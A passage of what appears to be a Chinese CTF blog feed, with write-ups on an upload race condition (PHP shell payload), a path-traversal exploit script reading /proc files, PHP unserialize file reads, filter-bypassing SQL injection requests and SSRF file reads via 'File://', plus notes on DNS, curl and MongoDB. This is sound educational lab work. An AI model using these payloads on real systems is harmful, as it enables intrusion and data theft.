&lt;p&gt;&lt;code&gt;bytes.fromhex(res)&lt;/code&gt;这样就行了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/18/LIZ69taKQqsVDi1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>上传竞争</title><link>https://rayepeng.net/posts/%E4%B8%8A%E4%BC%A0%E7%AB%9E%E4%BA%89/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%B8%8A%E4%BC%A0%E7%AB%9E%E4%BA%89/</guid><pubDate>Sat, 17 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;文件上传的题目遇到的不是很多，这里分析一下文件上传竞争&lt;/p&gt;
&lt;p&gt;上传竞争的来源：&lt;/p&gt;
&lt;p&gt;栗子：先存储文件，再判断是否合法，然后再删除。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;首先将文件上传到服务器，然后检测文件后缀名，如果不符合条件，就删掉，典型的“引狼入室”&lt;br /&gt;
攻击：首先上传一个php文件&lt;br /&gt;
当然这个文件会被立马删掉，所以我们使用多线程并发的访问上传的文件，总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件，一旦我们成功访问到了上传的文件，那么它就会向服务器写一个shell。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里有一道对于文件上传竞争的wp：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/iamsongyu/article/details/83346029&quot;&gt;2018护网杯第一场 web easy tornado LTshop超详细解答&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;同时我们来看一下moctf的一道题:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://119.23.73.3:5006/web2/index2.php&quot;&gt;http://119.23.73.3:5006/web2/index2.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;直接访问index2.php肯定不正常，抓包修改成index.php，提示uploadsomething.php&lt;/p&gt;
&lt;p&gt;访问之后是一个文件上传页面。自定义文件名和文件内容&lt;/p&gt;
&lt;p&gt;文件名可以是php后缀的，那思路就是写一个shell进去再访问，但是访问时候页面提示太慢了。&lt;/p&gt;
&lt;p&gt;所以题目可能是检测到了php代码将其删除了，于是考虑文件上传竞争&lt;/p&gt;
&lt;p&gt;抓两个包，一个是文件上传的 &lt;code&gt;/web2/uploadsomething.php?filename=1.php&amp;amp;content=%3C%3Fphp%2Bsystem%28%E2%80%9Cls%E2%80%9D%29%3B%3F%3E&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;另一个是访问的 &lt;code&gt;/web2/uploads/56db0b8d99fd6116ed67d35b607cd9351ea94156/1.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;都发送到intruder模块，设置线程为50，字典为空&lt;/p&gt;
&lt;p&gt;先爆破第一个：&lt;/p&gt;
&lt;p&gt;然后爆破第二个：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/upload1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;就会有flag了&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://shuaizhupeiqi.github.io/2018/11/15/%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89%E6%BC%8F%E6%B4%9E/&quot;&gt;CTF中的条件竞争漏洞&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>网络安全专项赛</title><link>https://rayepeng.net/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B8%93%E9%A1%B9%E8%B5%9B/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B8%93%E9%A1%B9%E8%B5%9B/</guid><pubDate>Sat, 17 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;跟队友打了一下这个比赛，小白学习了很多知识&lt;/p&gt;
&lt;h2&gt;show_me_your_image&lt;/h2&gt;
&lt;p&gt;这道题目很晕，上传文件之后可以查看，URL中的name似乎可以进行任意文件读取，但是base64解码之后得到的结果却是乱码，同时session可以用之前flask解码的脚本解码，但是这明明是php？？？(后来才知道是伪装成了php的flask)&lt;/p&gt;
&lt;p&gt;首先还是需要学习一下python中的&lt;code&gt;requests&lt;/code&gt;包，如何使用requests包上传文件&lt;/p&gt;
&lt;p&gt;requests上传文件的简要代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# coding=utf-8


url = &quot;http://localhost:6789/upload&quot;
file = open(&quot;1.jpg&quot;, &apos;rb&apos;)
files = {&apos;file&apos;: (&apos;new_name.jpg&apos;, file, &apos;image/pjpeg&apos;)}
response = requests.post(url, files=files)
file.close()
print response.status_code
print response.request.headers
print response.request.body
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;files&lt;/code&gt;中包含了&lt;code&gt;file&lt;/code&gt;对应的文件名，文件内容，和类型，有这三者就够了&lt;/p&gt;
&lt;p&gt;参考师傅们的exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;


from bs4 import BeautifulSoup

def base_encode(target, filename):
    if len(filename) != 3:
        return None
    r = requests.post(target+&quot;upload.php&quot;,
                      files={&apos;file&apos;: (filename + &apos;.jpg&apos;,
                                      &apos;z3r0test&apos;, &apos;text/plain&apos;)}
                      )
    # print(r.text)
    soup = BeautifulSoup(r.text, &quot;html.parser&quot;)
    pic_url = soup.find(&apos;img&apos;)
    # print(pic_url[&apos;src&apos;].replace(&apos;img.php?name=&apos;, &apos;&apos;))
    filename = pic_url[&apos;src&apos;].replace(&apos;img.php?name=&apos;, &apos;&apos;)
    # print(filename)
    urldecode = urllib.parse.unquote(filename)
    return urldecode[:4]

def read(target, filename):
    filename = urllib.parse.unquote(filename)
    r = requests.get(target+&quot;img.php&quot;,
                     params={&apos;name&apos;: filename})
    print(r.text)

if __name__ == &quot;__main__&quot;:
    target = &quot;http://fc663c386ea14c96ba9808b72602d341fda4447a2bfb4e01.changame.ichunqiu.com/&quot;
    payload = &quot;../.././proc/self/root/root/flag.txt&quot;
    # payload = &quot;../..//proc/self/cwd/app.py&quot;
    if len(payload) % 3 != 0:
        print(&quot;must be three times!&quot;)
        exit()
    final = &quot;&quot;
    for i in range(0, len(payload), 3):
        final += base_encode(target, payload[i:i + 3])
    final = urllib.parse.quote(final)
    read(target, final)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两个trick：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;fuzz出文件名的编码关系，这里是三个变四个&lt;/li&gt;
&lt;li&gt;/proc/self/cwd/ 指向的是当前路径，在本题中用于拼凑3倍数长度的字符串&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;其实我们只需要上传文件名然后获得对应的编码就行&lt;code&gt;r = requests.post(target+&quot;upload.php&quot;,files={&apos;file&apos;: (filename + &apos;.jpg&apos;, &apos;z3r0test&apos;, &apos;text/plain&apos;)})&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;之后调用&lt;code&gt;BeautifulSoup&lt;/code&gt;去解析就行了&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://www.zhangdongshengtech.com/article-detials/220&quot;&gt;使用requests 上传文件&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>DNS解析记录</title><link>https://rayepeng.net/posts/dns%E8%A7%A3%E6%9E%90%E8%AE%B0%E5%BD%95/</link><guid isPermaLink="true">https://rayepeng.net/posts/dns%E8%A7%A3%E6%9E%90%E8%AE%B0%E5%BD%95/</guid><pubDate>Fri, 16 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;又遇到了一到头疼的MISC签到题，虽说有点脑洞但还是基础知识积累的不够。&lt;/p&gt;
&lt;p&gt;DNS解析记录：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A记录、AAAA记录、CNAME记录、MX记录、NS记录、TXT记录、SRV记录、URL转发&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;各种记录简记如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A记录： 将域名指向一个IPv4地址（例如：100.100.100.100），需要增加A记录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CNAME记录： 如果将域名指向一个域名，实现与被指向域名相同的访问效果，需要增加CNAME记录。这个域名一般是主机服务商提供的一个域名&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MX记录： 建立电子邮箱服务，将指向邮件服务器地址，需要设置MX记录。建立邮箱时，一般会根据邮箱服务商提供的MX记录填写此记录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;NS记录： 域名解析服务器记录，如果要将子域名指定某个域名服务器来解析，需要设置NS记录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TXT记录： 可任意填写，可为空。一般做一些验证记录时会使用此项，如：做SPF（反垃圾邮件）记录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;AAAA记录： 将主机名（或域名）指向一个IPv6地址（例如：ff03:0:0:0:0:0:0:c1），需要添加AAAA记录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SRV记录： 添加服务记录服务器服务记录时会添加此项，SRV记录了哪台计算机提供了哪个服务。格式为：服务的名字.协议的类型（例如：_example-server._tcp）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SOA记录： SOA叫做起始授权机构记录，NS用于标识多台域名解析服务器，SOA记录用于在众多NS记录中那一台是主服务器&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PTR记录： PTR记录是A记录的逆向记录，又称做IP反查记录或指针记录，负责将IP反向解析为域名&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;显性URL转发记录： 将域名指向一个http(s)协议地址，访问域名时，自动跳转至目标地址。例如：将www.liuht.cn显性转发到www.itbilu.com后，访问www.liuht.cn时，地址栏显示的地址为：www.itbilu.com。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;隐性UR转发记录L： 将域名指向一个http(s)协议地址，访问域名时，自动跳转至目标地址，隐性转发会隐藏真实的目标地址。例如：将www.liuht.cn显性转发到www.itbilu.com后，访问www.liuht.cn时，地址栏显示的地址仍然是：www.liuht.cn。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以这题就是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;服务器:  192.168.1.1
Address:  192.168.1.1

非权威应答:
gamectf.com     text =

        &quot;flag{welcome_TXT}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比如我的域名解析记录：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/16/hHjMUOFqE1KZIlS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用dig命令也行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ dig -t txt gamectf.com                                                                                                          
; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.11.3-1ubuntu1.3-Ubuntu &amp;lt;&amp;lt;&amp;gt;&amp;gt; -t txt gamectf.com
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 16974
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;gamectf.com.                   IN      TXT

;; ANSWER SECTION:
gamectf.com.            600     IN      TXT     &quot;flag{welcome_TXT}&quot;

;; Query time: 26 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
;; WHEN: Fri Aug 16 07:18:56 CST 2019
;; MSG SIZE  rcvd: 70
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用dig命令甚至可以直观地感受到DNS解析的全过程，然而在我的WSL上只有一点点记录&lt;/p&gt;
</content:encoded></item><item><title>JarvisOJ</title><link>https://rayepeng.net/posts/jarvisoj/</link><guid isPermaLink="true">https://rayepeng.net/posts/jarvisoj/</guid><pubDate>Fri, 16 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;神盾局的秘密&lt;/h2&gt;
&lt;p&gt;查看页面源码，猜测是本地文件包含&lt;/p&gt;
&lt;p&gt;先查看&lt;code&gt;showimg.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
	$f = $_GET[&apos;img&apos;];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,&apos;..&apos;)===FALSE &amp;amp;&amp;amp; stripos($f,&apos;/&apos;)===FALSE &amp;amp;&amp;amp; stripos($f,&apos;\\&apos;)===FALSE
		&amp;amp;&amp;amp; stripos($f,&apos;pctf&apos;)===FALSE) {
			readfile($f);
		} else {
			echo &quot;File not found!&quot;;
		}
	}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后查看index.php&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
	require_once(&apos;shield.php&apos;);
	$x = new Shield();
	isset($_GET[&apos;class&apos;]) &amp;amp;&amp;amp; $g = $_GET[&apos;class&apos;];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x-&amp;gt;readfile();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再查看&lt;code&gt;shield.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = &apos;&apos;) {
			$this -&amp;gt; file = $filename;
		}
		
		function readfile() {
			if (!empty($this-&amp;gt;file) &amp;amp;&amp;amp; stripos($this-&amp;gt;file,&apos;..&apos;)===FALSE  
			&amp;amp;&amp;amp; stripos($this-&amp;gt;file,&apos;/&apos;)===FALSE &amp;amp;&amp;amp; stripos($this-&amp;gt;file,&apos;\\&apos;)==FALSE) {
				return @file_get_contents($this-&amp;gt;file);
			}
		}
	}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试直接查看&lt;code&gt;pctf.php&lt;/code&gt;没有成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Shield{
    public $file=&apos;pctf.php&apos;;

}
$a=  new Shield();
echo serialize($a);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/16/WKC9PquOA6FipmG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;IN a mess&lt;/h2&gt;
&lt;p&gt;源代码提示访问 index.phps&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

error_reporting(0);
echo &quot;&amp;lt;!--index.phps--&amp;gt;&quot;;

if(!$_GET[&apos;id&apos;])
{
	header(&apos;Location: index.php?id=1&apos;);
	exit();
}
$id=$_GET[&apos;id&apos;];
$a=$_GET[&apos;a&apos;];
$b=$_GET[&apos;b&apos;];
if(stripos($a,&apos;.&apos;))
{
	echo &apos;Hahahahahaha&apos;;
	return ;
}
$data = @file_get_contents($a,&apos;r&apos;);
if($data==&quot;1112 is a nice lab!&quot; and $id==0 and strlen($b)&amp;gt;5 and eregi(&quot;111&quot;.substr($b,0,1),&quot;1114&quot;) and substr($b,0,1)!=4)
{
	require(&quot;flag.txt&quot;);
}
else
{
	print &quot;work harder!harder!harder!&quot;;
}

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个审计题目是见过的&lt;/p&gt;
&lt;p&gt;精心构造的payload&lt;/p&gt;
&lt;p&gt;用0a绕过弱类型，用伪协议绕过文件读取，用&lt;code&gt;%001111&lt;/code&gt;绕过substr和strlen&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/16/Kt6qHmT2fUFQrav.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后来到第二关：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/16/diMvmqeHyjugJcN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现是注入&lt;/p&gt;
&lt;p&gt;过滤了空格和一些关键字符，可以使用双写绕过&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后尝试爆字段&lt;/p&gt;
&lt;p&gt;字段数为3&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GET /%5eHT2mCpcvOLf/index.php?id=-1/*1222*/uniunionon/*123*/selselectect/*123*/1,2,3%23 HTTP/1.1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数据库名：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实表是已经知道了，就是content，不过还是再手动爆一下：&lt;/p&gt;
&lt;p&gt;这里必须使用十六进制编码，不然得不到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;爆字段&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GET /%5eHT2mCpcvOLf/index.php?id=-1/*1222*/uniunionon/*123*/selselectect/*123*/1,2,group_concat(column_name)/*123*/frfromom/*123*/information_schema.columns/*123*/where/*123*/table_schema=0x74657374%23 HTTP/1.1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;获取数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GET /%5eHT2mCpcvOLf/index.php?id=-1/*1222*/uniunionon/*123*/selselectect/*123*/1,2,group_concat(id,context,title)/*123*/frfromom/*123*/content HTTP/1.1&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;chopper&lt;/h2&gt;
&lt;p&gt;这题重新复现一下一叶飘零师傅的思路，同时好好理解一下什么是ssrf&lt;/p&gt;
&lt;p&gt;查看源码发现一个很有意思的点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot; &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
	&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html;charset=UTF-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;ISCC 2016&amp;lt;/title&amp;gt;
	&amp;lt;div class=&quot;container&quot;&amp;gt;
		&amp;lt;img src=&quot;proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg&quot; alt=&quot;&quot;&amp;gt;
		
		&amp;lt;p&amp;gt;&amp;lt;a href=&quot;admin&quot;&amp;gt;管理员登录&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
	&amp;lt;/div&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
	
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那个图片是通过一个url加载出来的，于是我就尝试用自己blog上的图片&lt;/p&gt;
&lt;p&gt;果真如此：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ssrf0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是这就是一典型的SSRF了&lt;/p&gt;
&lt;p&gt;直接尝试读取文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ssrf1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;读取失败，尝试绕过&lt;/p&gt;
&lt;p&gt;直接大写一个字母就行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ssrf1-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是可以读取任意文件&lt;/p&gt;
&lt;p&gt;如果url不加参数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ssrf2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是我们就知道了文件的位置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;?php
/*
P_PROXY v0.2
@author:haozigege
@time:2016/3/19
@windows extension=php_curl.dll(php.ini)
@linux cd ext/curl;phpize  ./configure –with-curl;make;
@info url全部通过GET来传递,如果使用POST，则读取POST数据发送请求,可以给中国菜刀提供接口;
cookie和其他http头部信息可以直接从请求中读取。
@update 修改了host不一致的问题,去除了method参数简化了逻辑结构。
*/

function get_result($curlobj){
	$result=curl_exec($curlobj);
	$headerSize=curl_getinfo($curlobj,CURLINFO_HEADER_SIZE);
	$res_header=substr($result, 0, $headerSize);
	$result	=substr($result,$headerSize);
	curl_close($curlobj); 
	set_response_header($res_header);
	echo $result;
}
function getmyheader($curlobj,$headerlines){
	$res_headers=$headerlines;
	return $res_headers;
}
function set_response_header($headers){
	$headarr=explode(&quot;\r\n&quot;,$headers);
	foreach($headarr as $key=&amp;gt;$value){
		header($value);
	}
}

function init_curl($link,$headers){
	$curlobj = curl_init(); 
    curl_setopt($curlobj,CURLOPT_URL,$link); 
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);//raw output
	curl_setopt($curlobj, CURLOPT_HTTPHEADER, $headers);
	curl_setopt($curlobj, CURLOPT_HEADER, 1);
	return	$curlobj;
}

foreach(getallheaders() as $key=&amp;gt;$value){
	if ($key==&apos;Content-Length&apos; and isset($_POST)){
		$post=http_build_query($_POST);
		$value=strlen($post);
	}
	$headers[]=$key.&apos;:&apos;.$value;
}

if(isset($_REQUEST[&apos;url&apos;])){
	$link=$_REQUEST[&apos;url&apos;];
	$url=explode(&apos;/&apos;,$link)[2];

	/* curl setting */
	$curlobj = init_curl($link,$headers);

	//GET
	if ($_SERVER[&apos;REQUEST_METHOD&apos;]==&apos;GET&apos;){
		//READ FILE
		if(substr($link, 0,7)==&apos;file://&apos;){
		echo substr($link,7);
		$result=&quot;&quot;;
		//$result=file_get_contents(substr($link,7));
		echo $result;
		curl_close($curlobj);
		}else{
			curl_setopt($curlobj, CURLOPT_POST, 0); 
			curl_setopt($curlobj, CURLOPT_HTTPHEADER, [&quot;HOST&quot;,$url]);
			get_result($curlobj);
			}
		}else {
		//POST
			curl_setopt($curlobj, CURLOPT_POST, 1);
			curl_setopt($curlobj, CURLOPT_POSTFIELDS,$post);
			curl_setopt($curlobj, CURLOPT_HTTPHEADER, [&quot;HOST&quot;,$url]);
			get_result($curlobj);
			}
}else{
	echo &apos;invalid request&apos;;
}

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出对协议的过滤很垃圾，就是看是不是file://开头的&lt;/p&gt;
&lt;p&gt;尝试读取index.php和index.html，index.php没有，index.html就是原来的页面&lt;/p&gt;
&lt;p&gt;这时候去admin目录下探测：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ssrf3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试探测一下文件：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;view-source:http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/robots.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;就发现robots.txt&lt;/p&gt;
&lt;p&gt;于是读&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ssrf4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PORT 51&lt;/h2&gt;
&lt;p&gt;记录一下curl的姿势&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/jarvis0.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
在自己的vps上通过&lt;code&gt;curl --local-port=51&lt;/code&gt;进行访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/jarvis3.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
&lt;code&gt;curl&lt;/code&gt;命令是一个很强大的命令，由于浏览器访问网站的时候存在重定向的问题，于是可以直接用curl访问原始的网页，&lt;code&gt;cybrics&lt;/code&gt;的签到题就是这个思路&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DESCRIPTION
       curl  is  a  tool  to transfer data from or to a server, using one of the supported protocols (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS,
       IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP). The command is  designed  to  work
       without user interaction.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到curl支持很多协议，包括&lt;code&gt;POP3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;常见的用法&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl https://prontosil.club&lt;/code&gt; 直接访问原始页面&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl -I https://prontosil.club&lt;/code&gt; 得到请求头&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl -H&lt;/code&gt;发送自定义的请求头&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl -d&lt;/code&gt;发送post请求&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://man.linuxde.net/curl&quot;&gt;curl命令详解&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;localhost&lt;/h2&gt;
&lt;p&gt;只能在本地访问，&lt;/p&gt;
&lt;p&gt;伪造请求头即可&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/jarvis1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;login&lt;/h2&gt;
&lt;p&gt;注意抓包，请求头中有hint&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/jarvis2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;参考&lt;a href=&quot;http://www.am0s.com/functions/204.html&quot;&gt;这篇文章&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>MongoDb学习</title><link>https://rayepeng.net/posts/mongodb%E5%AD%A6%E4%B9%A0/</link><guid isPermaLink="true">https://rayepeng.net/posts/mongodb%E5%AD%A6%E4%B9%A0/</guid><pubDate>Fri, 16 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近接触了一些NoSQL的题目，主要的数据库还是以MongoDb为主，于是总结一下MongoDb的学习&lt;/p&gt;
&lt;p&gt;MongoDb中的数据库，集合，文档和传统的关系型数据的对应就不用细说了&lt;/p&gt;
&lt;p&gt;&lt;em&gt;db&lt;/em&gt;显示当前使用的数据库&lt;br /&gt;
&lt;em&gt;show dbs&lt;/em&gt;显示所有可用的数据库，如果一个数据库里面啥都没有这里就不会显示&lt;br /&gt;
&lt;em&gt;use xxx&lt;/em&gt;指定使用哪种个数据库，如果不存在会自动创建&lt;br /&gt;
&lt;em&gt;show tables&lt;/em&gt;显示当前数据库下所有的表(又回到了关系型数据库的概念了23333)&lt;/p&gt;
&lt;p&gt;后面的实验都在test数据库下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; show tables
runoob
users
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;插入数据&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; db.users.insert({&apos;username&apos;:&apos;xxx&apos;,&apos;password&apos;:11111}
... )
WriteResult({ &quot;nInserted&quot; : 1 })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当前表中的内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; db.users.find()
{ &quot;_id&quot; : ObjectId(&quot;5d53bd7674357af54ea6fb01&quot;), &quot;username&quot; : &quot;prontosil&quot;, &quot;password&quot; : &quot;123456&quot; }
{ &quot;_id&quot; : ObjectId(&quot;5d53bd8574357af54ea6fb02&quot;), &quot;username&quot; : &quot;abc&quot;, &quot;password&quot; : &quot;gaashasfa&quot; }
{ &quot;_id&quot; : ObjectId(&quot;5d53bd8a74357af54ea6fb03&quot;), &quot;username&quot; : &quot;abcddd&quot;, &quot;password&quot; : &quot;gaasasdfashasfa&quot; }
